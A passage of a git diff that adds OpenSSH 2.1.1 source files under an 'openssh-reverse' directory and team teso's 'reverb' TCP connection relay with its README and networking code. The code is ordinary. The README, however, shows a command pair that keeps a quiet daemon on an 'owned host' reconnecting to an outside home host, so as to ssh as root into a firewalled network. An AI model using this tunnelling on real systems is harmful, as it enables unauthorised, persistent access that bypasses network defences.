4800; + case B9600: + return 9600; + +#ifdef B19200 + case B19200: + return 19200; +#else /* B19200 */ +#ifdef EXTA + case EXTA: + return 19200; +#endif /* EXTA */ +#endif /* B19200 */ + +#ifdef B38400 + case B38400: + return 38400; +#else /* B38400 */ +#ifdef EXTB + case EXTB: + return 38400; +#endif /* EXTB */ +#endif /* B38400 */ + +#ifdef B7200 + case B7200: + return 7200; +#endif /* B7200 */ +#ifdef B14400 + case B14400: + return 14400; +#endif /* B14400 */ +#ifdef B28800 + case B28800: + return 28800; +#endif /* B28800 */ +#ifdef B57600 + case B57600: + return 57600; +#endif /* B57600 */ +#ifdef B76800 + case B76800: + return 76800; +#endif /* B76800 */ +#ifdef B115200 + case B115200: + return 115200; +#endif /* B115200 */ +#ifdef B230400 + case B230400: + return 230400; +#endif /* B230400 */ + default: + return 9600; + } +} + +/* + * Converts a numeric baud rate to a POSIX speed_t. + */ +static speed_t +baud_to_speed(int baud) +{ + switch (baud) { + case 0: + return B0; + case 50: + return B50; + case 75: + return B75; + case 110: + return B110; + case 134: + return B134; + case 150: + return B150; + case 200: + return B200; + case 300: + return B300; + case 600: + return B600; + case 1200: + return B1200; + case 1800: + return B1800; + case 2400: + return B2400; + case 4800: + return B4800; + case 9600: + return B9600; + +#ifdef B19200 + case 19200: + return B19200; +#else /* B19200 */ +#ifdef EXTA + case 19200: + return EXTA; +#endif /* EXTA */ +#endif /* B19200 */ + +#ifdef B38400 + case 38400: + return B38400; +#else /* B38400 */ +#ifdef EXTB + case 38400: + return EXTB; +#endif /* EXTB */ +#endif /* B38400 */ + +#ifdef B7200 + case 7200: + return B7200; +#endif /* B7200 */ +#ifdef B14400 + case 14400: + return B14400; +#endif /* B14400 */ +#ifdef B28800 + case 28800: + return B28800; +#endif /* B28800 */ +#ifdef B57600 + case 57600: + return B57600; +#endif /* B57600 */ +#ifdef B76800 + case 76800: + return B76800; +#endif /* B76800 */ +#ifdef B115200 + case 115200: + return B115200; +#endif /* B115200 */ +#ifdef B230400 + case 230400: + return B230400; +#endif /* B230400 */ + default: + return B9600; + } +} + +/* + * Encodes terminal modes for the terminal referenced by fd + * in a portable manner, and appends the modes to a packet + * being constructed. + */ +void +tty_make_modes(int fd) +{ + struct termios tio; + int baud; + + if (tcgetattr(fd, &tio) < 0) { + packet_put_char(TTY_OP_END); + log("tcgetattr: %.100s", strerror(errno)); + return; + } + /* Store input and output baud rates. */ + baud = speed_to_baud(cfgetospeed(&tio)); + packet_put_char(TTY_OP_OSPEED); + packet_put_int(baud); + baud = speed_to_baud(cfgetispeed(&tio)); + packet_put_char(TTY_OP_ISPEED); + packet_put_int(baud); + + /* Store values of mode flags. */ +#define TTYCHAR(NAME, OP) \ + packet_put_char(OP); packet_put_char(tio.c_cc[NAME]); +#define TTYMODE(NAME, FIELD, OP) \ + packet_put_char(OP); packet_put_char((tio.FIELD & NAME) != 0); +#define SGTTYCHAR(NAME, OP) +#define SGTTYMODE(NAME, FIELD, OP) +#define SGTTYMODEN(NAME, FIELD, OP) + +#include "ttymodes.h" + +#undef TTYCHAR +#undef TTYMODE +#undef SGTTYCHAR +#undef SGTTYMODE +#undef SGTTYMODEN + + /* Mark end of mode data. */ + packet_put_char(TTY_OP_END); +} + +/* + * Decodes terminal modes for the terminal referenced by fd in a portable + * manner from a packet being read. + */ +void +tty_parse_modes(int fd, int *n_bytes_ptr) +{ + struct termios tio; + int opcode, baud; + int n_bytes = 0; + int failure = 0; + + /* + * Get old attributes for the terminal. We will modify these + * flags. I am hoping that if there are any machine-specific + * modes, they will initially have reasonable values. + */ + if (tcgetattr(fd, &tio) < 0) + failure = -1; + + for (;;) { + n_bytes += 1; + opcode = packet_get_char(); + switch (opcode) { + case TTY_OP_END: + goto set; + + case TTY_OP_ISPEED: + n_bytes += 4; + baud = packet_get_int(); + if (failure != -1 && cfsetispeed(&tio, baud_to_speed(baud)) < 0) + error("cfsetispeed failed for %d", baud); + break; + + case TTY_OP_OSPEED: + n_bytes += 4; + baud = packet_get_int(); + if (failure != -1 && cfsetospeed(&tio, baud_to_speed(baud)) < 0) + error("cfsetospeed failed for %d", baud); + break; + +#define TTYCHAR(NAME, OP) \ + case OP: \ + n_bytes += 1; \ + tio.c_cc[NAME] = packet_get_char(); \ + break; +#define TTYMODE(NAME, FIELD, OP) \ + case OP: \ + n_bytes += 1; \ + if (packet_get_char()) \ + tio.FIELD |= NAME; \ + else \ + tio.FIELD &= ~NAME; \ + break; +#define SGTTYCHAR(NAME, OP) +#define SGTTYMODE(NAME, FIELD, OP) +#define SGTTYMODEN(NAME, FIELD, OP) + +#include "ttymodes.h" + +#undef TTYCHAR +#undef TTYMODE +#undef SGTTYCHAR +#undef SGTTYMODE +#undef SGTTYMODEN + + default: + debug("Ignoring unsupported tty mode opcode %d (0x%x)", + opcode, opcode); + /* + * Opcodes 0 to 127 are defined to have + * a one-byte argument. + */ + if (opcode >= 0 && opcode < 128) { + n_bytes += 1; + (void) packet_get_char(); + break; + } else { + /* + * Opcodes 128 to 159 are defined to have + * an integer argument. + */ + if (opcode >= 128 && opcode < 160) { + n_bytes += 4; + (void) packet_get_int(); + break; + } + } + /* + * It is a truly undefined opcode (160 to 255). + * We have no idea about its arguments. So we + * must stop parsing. Note that some data may be + * left in the packet; hopefully there is nothing + * more coming after the mode data. + */ + log("parse_tty_modes: unknown opcode %d", opcode); + packet_integrity_check(0, 1, SSH_CMSG_REQUEST_PTY); + goto set; + } + } + +set: + if (*n_bytes_ptr != n_bytes) { + *n_bytes_ptr = n_bytes; + return; /* Don't process bytes passed */ + } + if (failure == -1) + return; /* Packet parsed ok but tty stuff failed */ + + /* Set the new modes for the terminal. */ + if (tcsetattr(fd, TCSANOW, &tio) < 0) + log("Setting tty modes failed: %.100s", strerror(errno)); + return; +} diff --git a/other/openssh-reverse/ttymodes.h b/other/openssh-reverse/ttymodes.h new file mode 100644 index 0000000..b0ef247 --- /dev/null +++ b/other/openssh-reverse/ttymodes.h @@ -0,0 +1,141 @@ +/* + * + * ttymodes.h + * + * Author: Tatu Ylonen + * SGTTY stuff contributed by Janne Snabb + * + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * Created: Tue Mar 21 15:42:09 1995 ylo + * + */ + +/* RCSID("$OpenBSD: ttymodes.h,v 1.8 2000/06/20 01:39:45 markus Exp $"); */ + +/* The tty mode description is a stream of bytes. The stream consists of + * opcode-arguments pairs. It is terminated by opcode TTY_OP_END (0). + * Opcodes 1-127 have one-byte arguments. Opcodes 128-159 have integer + * arguments. Opcodes 160-255 are not yet defined, and cause parsing to + * stop (they should only be used after any other data). + * + * The client puts in the stream any modes it knows about, and the + * server ignores any modes it does not know about. This allows some degree + * of machine-independence, at least between systems that use a posix-like + * tty interface. The protocol can support other systems as well, but might + * require reimplementing as mode names would likely be different. + */ + +/* + * Some constants and prototypes are defined in packet.h; this file + * is only intended for including from ttymodes.c. + */ + +/* termios macro */ /* sgtty macro */ +/* name, op */ +TTYCHAR(VINTR, 1) SGTTYCHAR(tiotc.t_intrc, 1) +TTYCHAR(VQUIT, 2) SGTTYCHAR(tiotc.t_quitc, 2) +TTYCHAR(VERASE, 3) SGTTYCHAR(tio.sg_erase, 3) +#if defined(VKILL) +TTYCHAR(VKILL, 4) SGTTYCHAR(tio.sg_kill, 4) +#endif /* VKILL */ +TTYCHAR(VEOF, 5) SGTTYCHAR(tiotc.t_eofc, 5) +#if defined(VEOL) +TTYCHAR(VEOL, 6) SGTTYCHAR(tiotc.t_brkc, 6) +#endif /* VEOL */ +#ifdef VEOL2 /* n/a */ +TTYCHAR(VEOL2, 7) +#endif /* VEOL2 */ +TTYCHAR(VSTART, 8) SGTTYCHAR(tiotc.t_startc, 8) +TTYCHAR(VSTOP, 9) SGTTYCHAR(tiotc.t_stopc, 9) +#if defined(VSUSP) +TTYCHAR(VSUSP, 10) SGTTYCHAR(tioltc.t_suspc, 10) +#endif /* VSUSP */ +#if defined(VDSUSP) +TTYCHAR(VDSUSP, 11) SGTTYCHAR(tioltc.t_dsuspc, 11) +#endif /* VDSUSP */ +#if defined(VREPRINT) +TTYCHAR(VREPRINT, 12) SGTTYCHAR(tioltc.t_rprntc, 12) +#endif /* VREPRINT */ +#if defined(VWERASE) +TTYCHAR(VWERASE, 13) SGTTYCHAR(tioltc.t_werasc, 13) +#endif /* VWERASE */ +#if defined(VLNEXT) +TTYCHAR(VLNEXT, 14) SGTTYCHAR(tioltc.t_lnextc, 14) +#endif /* VLNEXT */ +#if defined(VFLUSH) +TTYCHAR(VFLUSH, 15) SGTTYCHAR(tioltc.t_flushc, 15) +#endif /* VFLUSH */ +#ifdef VSWTCH +TTYCHAR(VSWTCH, 16) /* n/a */ +#endif /* VSWTCH */ +#if defined(VSTATUS) +TTYCHAR(VSTATUS, 17) SGTTYCHAR(tiots.tc_statusc, 17) +#endif /* VSTATUS */ +#ifdef VDISCARD +TTYCHAR(VDISCARD, 18) /* n/a */ +#endif /* VDISCARD */ + +/* name, field, op */ +TTYMODE(IGNPAR, c_iflag, 30) /* n/a */ +TTYMODE(PARMRK, c_iflag, 31) /* n/a */ +TTYMODE(INPCK, c_iflag, 32) SGTTYMODEN(ANYP, tio.sg_flags, 32) +TTYMODE(ISTRIP, c_iflag, 33) SGTTYMODEN(LPASS8, tiolm, 33) +TTYMODE(INLCR, c_iflag, 34) /* n/a */ +TTYMODE(IGNCR, c_iflag, 35) /* n/a */ +TTYMODE(ICRNL, c_iflag, 36) SGTTYMODE(CRMOD, tio.sg_flags, 36) +#if defined(IUCLC) +TTYMODE(IUCLC, c_iflag, 37) SGTTYMODE(LCASE, tio.sg_flags, 37) +#endif +TTYMODE(IXON, c_iflag, 38) /* n/a */ +TTYMODE(IXANY, c_iflag, 39) SGTTYMODEN(LDECCTQ, tiolm, 39) +TTYMODE(IXOFF, c_iflag, 40) SGTTYMODE(TANDEM, tio.sg_flags, 40) +#ifdef IMAXBEL +TTYMODE(IMAXBEL,c_iflag, 41) /* n/a */ +#endif /* IMAXBEL */ + +TTYMODE(ISIG, c_lflag, 50) /* n/a */ +TTYMODE(ICANON, c_lflag, 51) SGTTYMODEN(CBREAK, tio.sg_flags, 51) +#ifdef XCASE +TTYMODE(XCASE, c_lflag, 52) /* n/a */ +#endif +TTYMODE(ECHO, c_lflag, 53) SGTTYMODE(ECHO, tio.sg_flags, 53) +TTYMODE(ECHOE, c_lflag, 54) SGTTYMODE(LCRTERA, tiolm, 54) +TTYMODE(ECHOK, c_lflag, 55) SGTTYMODE(LCRTKIL, tiolm, 55) +TTYMODE(ECHONL, c_lflag, 56) /* n/a */ +TTYMODE(NOFLSH, c_lflag, 57) SGTTYMODE(LNOFLSH, tiolm, 57) +TTYMODE(TOSTOP, c_lflag, 58) SGTTYMODE(LTOSTOP, tiolm, 58) +#ifdef IEXTEN +TTYMODE(IEXTEN, c_lflag, 59) /* n/a */ +#endif /* IEXTEN */ +#if defined(ECHOCTL) +TTYMODE(ECHOCTL,c_lflag, 60) SGTTYMODE(LCTLECH, tiolm, 60) +#endif /* ECHOCTL */ +#ifdef ECHOKE +TTYMODE(ECHOKE, c_lflag, 61) /* n/a */ +#endif /* ECHOKE */ +#if defined(PENDIN) +TTYMODE(PENDIN, c_lflag, 62) SGTTYMODE(LPENDIN, tiolm, 62) +#endif /* PENDIN */ + +TTYMODE(OPOST, c_oflag, 70) /* n/a */ +#if defined(OLCUC) +TTYMODE(OLCUC, c_oflag, 71) SGTTYMODE(LCASE, tio.sg_flags, 71) +#endif +TTYMODE(ONLCR, c_oflag, 72) SGTTYMODE(CRMOD, tio.sg_flags, 72) +#ifdef OCRNL +TTYMODE(OCRNL, c_oflag, 73) /* n/a */ +#endif +#ifdef ONOCR +TTYMODE(ONOCR, c_oflag, 74) /* n/a */ +#endif +#ifdef ONLRET +TTYMODE(ONLRET, c_oflag, 75) /* n/a */ +#endif + +TTYMODE(CS7, c_cflag, 90) /* n/a */ +TTYMODE(CS8, c_cflag, 91) SGTTYMODE(LPASS8, tiolm, 91) +TTYMODE(PARENB, c_cflag, 92) /* n/a */ +TTYMODE(PARODD, c_cflag, 93) SGTTYMODE(ODDP, tio.sg_flags, 93) + diff --git a/other/openssh-reverse/uidswap.c b/other/openssh-reverse/uidswap.c new file mode 100644 index 0000000..3fd0eef --- /dev/null +++ b/other/openssh-reverse/uidswap.c @@ -0,0 +1,99 @@ +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * Created: Sat Sep 9 01:56:14 1995 ylo + * Code for uid-swapping. + */ + +#include "includes.h" +RCSID("$OpenBSD: uidswap.c,v 1.7 2000/06/20 01:39:45 markus Exp $"); + +#include "ssh.h" +#include "uidswap.h" +#ifdef WITH_IRIX_AUDIT +#include +#endif /* WITH_IRIX_AUDIT */ + +/* + * Note: all these functions must work in all of the following cases: + * 1. euid=0, ruid=0 + * 2. euid=0, ruid!=0 + * 3. euid!=0, ruid!=0 + * Additionally, they must work regardless of whether the system has + * POSIX saved uids or not. + */ + +#ifdef _POSIX_SAVED_IDS +/* Lets assume that posix saved ids also work with seteuid, even though that + is not part of the posix specification. */ +#define SAVED_IDS_WORK_WITH_SETEUID + +/* Saved effective uid. */ +static uid_t saved_euid = 0; + +#endif /* _POSIX_SAVED_IDS */ + +/* + * Temporarily changes to the given uid. If the effective user + * id is not root, this does nothing. This call cannot be nested. + */ +void +temporarily_use_uid(uid_t uid) +{ +#ifdef SAVED_IDS_WORK_WITH_SETEUID + /* Save the current euid. */ + saved_euid = geteuid(); + + /* Set the effective uid to the given (unprivileged) uid. */ + if (seteuid(uid) == -1) + debug("seteuid %d: %.100s", (int) uid, strerror(errno)); +#else /* SAVED_IDS_WORK_WITH_SETUID */ + /* Propagate the privileged uid to all of our uids. */ + if (setuid(geteuid()) < 0) + debug("setuid %d: %.100s", (int) geteuid(), strerror(errno)); + + /* Set the effective uid to the given (unprivileged) uid. */ + if (seteuid(uid) == -1) + debug("seteuid %d: %.100s", (int) uid, strerror(errno)); +#endif /* SAVED_IDS_WORK_WITH_SETEUID */ +} + +/* + * Restores to the original uid. + */ +void +restore_uid() +{ +#ifdef SAVED_IDS_WORK_WITH_SETEUID + /* Set the effective uid back to the saved uid. */ + if (seteuid(saved_euid) < 0) + debug("seteuid %d: %.100s", (int) saved_euid, strerror(errno)); +#else /* SAVED_IDS_WORK_WITH_SETEUID */ + /* + * We are unable to restore the real uid to its unprivileged value. + * Propagate the real uid (usually more privileged) to effective uid + * as well. + */ + setuid(getuid()); +#endif /* SAVED_IDS_WORK_WITH_SETEUID */ +} + +/* + * Permanently sets all uids to the given uid. This cannot be + * called while temporarily_use_uid is effective. + */ +void +permanently_set_uid(uid_t uid) +{ +#ifdef WITH_IRIX_AUDIT + if (sysconf(_SC_AUDIT)) { + debug("Setting sat id to %d", (int) uid); + if (satsetid(uid)) + fatal("error setting satid: %.100s", strerror(errno)); + } +#endif /* WITH_IRIX_AUDIT */ + + if (setuid(uid) < 0) + debug("setuid %d: %.100s", (int) uid, strerror(errno)); +} diff --git a/other/openssh-reverse/uidswap.h b/other/openssh-reverse/uidswap.h new file mode 100644 index 0000000..c08a370 --- /dev/null +++ b/other/openssh-reverse/uidswap.h @@ -0,0 +1,36 @@ +/* + * + * uidswap.h + * + * Author: Tatu Ylonen + * + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * Created: Sat Sep 9 01:43:15 1995 ylo + * Last modified: Sat Sep 9 02:34:04 1995 ylo + * + */ + +#ifndef UIDSWAP_H +#define UIDSWAP_H + +/* + * Temporarily changes to the given uid. If the effective user id is not + * root, this does nothing. This call cannot be nested. + */ +void temporarily_use_uid(uid_t uid); + +/* + * Restores the original effective user id after temporarily_use_uid(). + * This should only be called while temporarily_use_uid is effective. + */ +void restore_uid(); + +/* + * Permanently sets all uids to the given uid. This cannot be called while + * temporarily_use_uid is effective. This must also clear any saved uids. + */ +void permanently_set_uid(uid_t uid); + +#endif /* UIDSWAP_H */ diff --git a/other/openssh-reverse/uuencode.c b/other/openssh-reverse/uuencode.c new file mode 100644 index 0000000..27ba655 --- /dev/null +++ b/other/openssh-reverse/uuencode.c @@ -0,0 +1,50 @@ +/* + * Copyright (c) 2000 Markus Friedl. All rights reserved. + */ +#include "includes.h" +#include "xmalloc.h" + +RCSID("$OpenBSD: uuencode.c,v 1.6 2000/06/22 23:55:00 djm Exp $"); + +int +uuencode(unsigned char *src, unsigned int srclength, + char *target, size_t targsize) +{ + return __b64_ntop(src, srclength, target, targsize); +} + +int +uudecode(const char *src, unsigned char *target, size_t targsize) +{ + int len; + char *encoded, *p; + + /* copy the 'readonly' source */ + encoded = xstrdup(src); + /* skip whitespace and data */ + for (p = encoded; *p == ' ' || *p == '\t'; p++) + ; + for (; *p != '\0' && *p != ' ' && *p != '\t'; p++) + ; + /* and remote trailing whitespace because __b64_pton needs this */ + *p = '\0'; + len = __b64_pton(encoded, target, targsize); + xfree(encoded); + return len; +} + +void +dump_base64(FILE *fp, unsigned char *data, int len) +{ + unsigned char *buf = xmalloc(2*len); + int i, n; + n = uuencode(data, len, buf, 2*len); + for (i = 0; i < n; i++) { + fprintf(fp, "%c", buf[i]); + if (i % 70 == 69) + fprintf(fp, "\n"); + } + if (i % 70 != 69) + fprintf(fp, "\n"); + xfree(buf); +} diff --git a/other/openssh-reverse/uuencode.h b/other/openssh-reverse/uuencode.h new file mode 100644 index 0000000..c92c627 --- /dev/null +++ b/other/openssh-reverse/uuencode.h @@ -0,0 +1,6 @@ +#ifndef UUENCODE_H +#define UUENCODE_H +int uuencode(unsigned char *src, unsigned int srclength, char *target, size_t targsize); +int uudecode(const char *src, unsigned char *target, size_t targsize); +void dump_base64(FILE *fp, unsigned char *data, int len); +#endif diff --git a/other/openssh-reverse/version.h b/other/openssh-reverse/version.h new file mode 100644 index 0000000..fc63bc1 --- /dev/null +++ b/other/openssh-reverse/version.h @@ -0,0 +1 @@ +#define SSH_VERSION "OpenSSH_2.1.1" diff --git a/other/openssh-reverse/xmalloc.c b/other/openssh-reverse/xmalloc.c new file mode 100644 index 0000000..ec62c58 --- /dev/null +++ b/other/openssh-reverse/xmalloc.c @@ -0,0 +1,53 @@ +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * Created: Mon Mar 20 21:23:10 1995 ylo + * Versions of malloc and friends that check their results, and never return + * failure (they call fatal if they encounter an error). + */ + +#include "includes.h" +RCSID("$OpenBSD: xmalloc.c,v 1.7 2000/06/20 01:39:45 markus Exp $"); + +#include "ssh.h" + +void * +xmalloc(size_t size) +{ + void *ptr = malloc(size); + if (ptr == NULL) + fatal("xmalloc: out of memory (allocating %d bytes)", (int) size); + return ptr; +} + +void * +xrealloc(void *ptr, size_t new_size) +{ + void *new_ptr; + + if (ptr == NULL) + fatal("xrealloc: NULL pointer given as argument"); + new_ptr = realloc(ptr, new_size); + if (new_ptr == NULL) + fatal("xrealloc: out of memory (new_size %d bytes)", (int) new_size); + return new_ptr; +} + +void +xfree(void *ptr) +{ + if (ptr == NULL) + fatal("xfree: NULL pointer given as argument"); + free(ptr); +} + +char * +xstrdup(const char *str) +{ + int len = strlen(str) + 1; + + char *cp = xmalloc(len); + strlcpy(cp, str, len); + return cp; +} diff --git a/other/openssh-reverse/xmalloc.h b/other/openssh-reverse/xmalloc.h new file mode 100644 index 0000000..b11b49c --- /dev/null +++ b/other/openssh-reverse/xmalloc.h @@ -0,0 +1,34 @@ +/* + * + * xmalloc.h + * + * Author: Tatu Ylonen + * + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * Created: Mon Mar 20 22:09:17 1995 ylo + * + * Versions of malloc and friends that check their results, and never return + * failure (they call fatal if they encounter an error). + * + */ + +/* RCSID("$OpenBSD: xmalloc.h,v 1.4 2000/06/20 01:39:45 markus Exp $"); */ + +#ifndef XMALLOC_H +#define XMALLOC_H + +/* Like malloc, but calls fatal() if out of memory. */ +void *xmalloc(size_t size); + +/* Like realloc, but calls fatal() if out of memory. */ +void *xrealloc(void *ptr, size_t new_size); + +/* Frees memory allocated using xmalloc or xrealloc. */ +void xfree(void *ptr); + +/* Allocates memory using xmalloc, and copies the string into that memory. */ +char *xstrdup(const char *str); + +#endif /* XMALLOC_H */ diff --git a/other/reverb/Makefile b/other/reverb/Makefile new file mode 100644 index 0000000..520bb8c --- /dev/null +++ b/other/reverb/Makefile @@ -0,0 +1,18 @@ + +DFLAGS=-Wall +CC=cc +CFLAGS=$(DFLAGS) -O2 +OBJS=network.o + +all: reverb + +clean: + rm -f *.o reverb + +reverb: $(OBJS) + $(CC) $(CFLAGS) -o reverb reverb.c $(OBJS) + strip reverb + +network.o: network.c + $(CC) $(CFLAGS) -c network.c + diff --git a/other/reverb/README b/other/reverb/README new file mode 100644 index 0000000..91b34d0 --- /dev/null +++ b/other/reverb/README @@ -0,0 +1,116 @@ + +reverb - connection adapter + +by team teso + + + + 1. motivation / description + + ehm... imagine two cables that are both male (meaning that the pins look + out of it at the plug). imagine putting them together. + now imagine the same for both two female plugs of a cable, you will fail + also. what you need is a cable adapter with both female or male plugs. + + the same is true for tcp connections (wow, what a parallelism, i'm cool, + am i ? :o)=, you can have active (male, yeah) and passive (female, :-) + ports, ehm... sockets hehe. normally a connection has one active (male) + and one passive (female) socket, and normally the male socket connects + into^H^H^H^Hto the female socket. but what if you want to create a link + between two sockets of the same type (male + male, female + female). + although this is only needed few times (irl this is more often i think ;), + it may be helpful. this is what reverb does. + + + + 2. usage + + case a) + + normal tcp connection relay, from sourceport to an ip and remote port. + + reverb 2929 193.32.74.203:80 + + will relay one (1) connection experienced on port 2929 to the ip and + port specified. + + + case b) + + accepting two connections relaying content. + + reverb 2992 2991 + + will accept one (1) connection each on the ports and relay all content + between them. it doesn't matter (tm) what port the first connection is + established on. + + + case c) + + establishing two connections, relaying content. + + reverb 193.32.74.203:80 210.167.178.38:80 + + establishes two connections to each socketpair and relays the connection + data among them. + + + 3. what for then ehm ? + + you can reverse (reverb ;) a connection establishing order this way. this + is useful for a lot of things, such as firewall tunneling for internal + connections or whatever. + also you can see quickly what is send to a port, or you can link two char- + gen ports via tcp, hey cool ehh ? + + conclusion: the ideal addition to tacten err.. netcat. + + 4. new options + + + times are given in formats like "10", "10s", "2m20s", "1d8h", ... + + + -c time + + limits the connection timeout on every outgoing connection. once it is + reached, reverb terminates. + + + -l time + + same for the female part, the listening socket. + + + -d + + daemon mode, go to background. also causes quiet mode. + + + -q + + quiet mode, don't print all that nasty infos. + + + -i time + + for active<->active setups you can instance a new connection with it + every once a 'time'. for example you can use it to connect every five + minutes to a host outside a firewalled network to allow yourself to + ssh into the network from the outside + (./reverb -d -q -i 5m ownedhost-in-local-network:22 my-home-host:9090 + on the owned host, and + ./reverb -d -q -l 9090 2020;ssh -p 2020 root@localhost + on my-home-host). + + + + visit us at teso.scene.at. + + team teso + + + oh, and please send us feedback at teso@teso.scene.at. + + diff --git a/other/reverb/network.c b/other/reverb/network.c new file mode 100644 index 0000000..3335b1a --- /dev/null +++ b/other/reverb/network.c @@ -0,0 +1,458 @@ + +/* scut's leet network library ;) + * 1999 (c) scut + * + * networking routines + * based on my hbot networking sources, + * revised, extended and adapted 990405 + * extended, improved and fixed 990430 + * ripped down to minimal functionality for reverb 990803 + * + * for the full version of this library just contact me, i'd be glad to send + * them to you :) + * + * nearly all of this code wouldn't have been possible without w. richard stevens + * excellent network coding book. if you are interested in network coding, + * there is no way around it. + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "network.h" + +int net_readtimeout = NET_READTIMEOUT; +int net_conntimeout = NET_CONNTIMEOUT; + + +int +net_parseip (char *inp, char **ip, unsigned short int *port) +{ + int n; + + if (inp == NULL) + return (0); + if (strchr (inp, ':') == NULL) + return (0); + + *ip = calloc (1, 256); + if (*ip == NULL) + return (0); + + n = sscanf (inp, "%[^:]:%hu", *ip, port); + if (n != 2) + return (0); + + *ip = realloc (*ip, strlen (*ip) + 1); + if (*ip == NULL || (*port < 1 || *port > 65535)) + return (0); + + return (1); +} + + +int +net_accept (int s, struct sockaddr_in *cs, int maxsec) +{ + int flags, n; + fd_set ac_s; + int len; + struct timeval tval; + + flags = fcntl(s, F_GETFL, 0); + if (flags == -1) + return (-1); + n = fcntl(s, F_SETFL, flags | O_NONBLOCK); + if (flags == -1) + return (-1); + + FD_ZERO(&ac_s); + FD_SET(s, &ac_s); + tval.tv_sec = maxsec; + tval.tv_usec = 0; + + n = select(s + 1, &ac_s, NULL, NULL, maxsec ? &tval : NULL); + if (n == 0) + return (0); + + if (FD_ISSET(s, &ac_s)) { + len = sizeof(struct sockaddr_in); + n = accept(s, (struct sockaddr *) cs, &len); + if (n == -1) { + switch (errno) { + case EWOULDBLOCK: + case ECONNABORTED: + case EPROTO: + case EINTR: if (fcntl(s, F_SETFL, flags) == -1) + return (-1); + return (0); + default: return (-1); + } + } + if (fcntl(s, F_SETFL, flags) == -1) + return (-1); + return (n); + } + if (fcntl(s, F_SETFL, flags) == -1) + return (-1); + return (0); +} + + +void +net_boundfree (bound *bf) +{ + close (bf->bs); + free(bf); + return; +} + + +bound * +net_bind (char *ip, unsigned short int port) +{ + bound *b; + int br, gsnr, lr; + int len, reusetmp; + struct sockaddr_in *sap; + + if (port >= 65536) + return (NULL); + + b = calloc(1, sizeof (bound)); + if (b == NULL) + return (NULL); + b->bs = socket (AF_INET, SOCK_STREAM, 0); + if (b->bs == -1) + goto berror; + + reusetmp = 1; +#ifdef SO_REUSEPORT + if (setsockopt (b->bs, SOL_SOCKET, SO_REUSEPORT, &reusetmp, sizeof (reusetmp)) == -1) + goto berror; +#else + if (setsockopt (b->bs, SOL_SOCKET, SO_REUSEADDR, &reusetmp, sizeof (reusetmp)) == -1) + goto berror; +#endif + + sap = (struct sockaddr_in *) &b->bsa; + sap->sin_family = AF_INET; + sap->sin_port = htons (port); /* 0 = ephemeral */ + + if (ip != NULL) { + if (strcmp (ip, "*") == 0) { + sap->sin_addr.s_addr = htonl (INADDR_ANY); + } else { + if (!(sap->sin_addr.s_addr = net_resolve (ip))) { + goto berror; + } + } + } else { + sap->sin_addr.s_addr = htonl (INADDR_ANY); + } + + br = bind (b->bs, (struct sockaddr *) &b->bsa, sizeof (struct sockaddr)); + if (br == -1) + goto berror; + + len = sizeof (struct sockaddr); + gsnr = getsockname (b->bs, (struct sockaddr *) &b->bsa, &len); + b->port = ntohs (sap->sin_port); + if (gsnr == -1) + goto berror; + + lr = listen (b->bs, 16); + if (lr == -1) { + goto berror; + } + return (b); + +berror: + free(b); + + return(NULL); +} + + +unsigned long int +net_resolve (char *host) +{ + long i; + struct hostent *he; + + i = inet_addr(host); + if (i == -1) { + he = gethostbyname(host); + if (he == NULL) { + return (0); + } else { + return (*(unsigned long *) he->h_addr); + } + } + return (i); +} + + +int +net_connect (struct sockaddr_in *cs, char *server, unsigned short int port, int sec) +{ + int n, len, error, flags; + int fd; + struct timeval tv; + fd_set rset, wset; + + /* first allocate a socket */ + cs->sin_family = AF_INET; + cs->sin_port = htons (port); + fd = socket (cs->sin_family, SOCK_STREAM, 0); + if (fd == -1) + return (-1); + + if (!(cs->sin_addr.s_addr = net_resolve (server))) { + close (fd); + return (-1); + } + + flags = fcntl (fd, F_GETFL, 0); + if (flags == -1) { + close (fd); + return (-1); + } + n = fcntl (fd, F_SETFL, flags | O_NONBLOCK); + if (n == -1) { + close (fd); + return (-1); + } + + error = 0; + + n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in)); + if (n < 0) { + if (errno != EINPROGRESS) { + close (fd); + return (-1); + } + } + if (n == 0) + goto done; + + FD_ZERO(&rset); + FD_ZERO(&wset); + FD_SET(fd, &rset); + FD_SET(fd, &wset); + tv.tv_sec = sec; + tv.tv_usec = 0; + + n = select(fd + 1, &rset, &wset, NULL, &tv); + if (n == 0) { + close(fd); + errno = ETIMEDOUT; + return (-1); + } + if (n == -1) + return (-1); + + if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) { + if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) { + len = sizeof(error); + if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) { + errno = ETIMEDOUT; + return (-1); + } + if (error == 0) { + goto done; + } else { + errno = error; + return (-1); + } + } + } else + return (-1); + +done: + n = fcntl(fd, F_SETFL, flags); + if (n == -1) + return (-1); + return (fd); +} + + +int +net_tline (char *buf, int bufsize) +{ + int p; + + for (p = 0; p < bufsize; p++) { + if (buf[p] == '\n') + return (p + 1); + } + return (-1); +} + + +int +net_rlinet (int fd, char *buf, int bufsize, int sec) +{ + int n; + unsigned long int rb = 0; + struct timeval tv_start, tv_cur; + + memset(buf, '\0', bufsize); + (void) gettimeofday(&tv_start, NULL); + + do { + (void) gettimeofday(&tv_cur, NULL); + if (sec > 0) { + if ((((tv_cur.tv_sec * 1000000) + (tv_cur.tv_usec)) - + ((tv_start.tv_sec * 1000000) + (tv_start.tv_usec))) > (sec * 1000000)) { + return (-1); + } + } + n = net_rtimeout(fd, net_readtimeout); + if (n <= 0) { + return (-1); + } + n = read(fd, buf, 1); + if (n <= 0) { + return (n); + } + rb++; + if (*buf == '\n') + return (rb); + buf++; + if (rb >= bufsize) + return (-1); + } while (1); +} + + +long int +net_rbuf (int fd, char **dst) +{ + long int ml = 0; + long int read_bytes; + int p; + + while ((p = net_rtimeout(fd, net_readtimeout)) == 1) { + *dst = (char *) realloc(*dst, ml + NET_BSIZE); + if (*dst == NULL) + return (-1); + ml += read_bytes = read(fd, 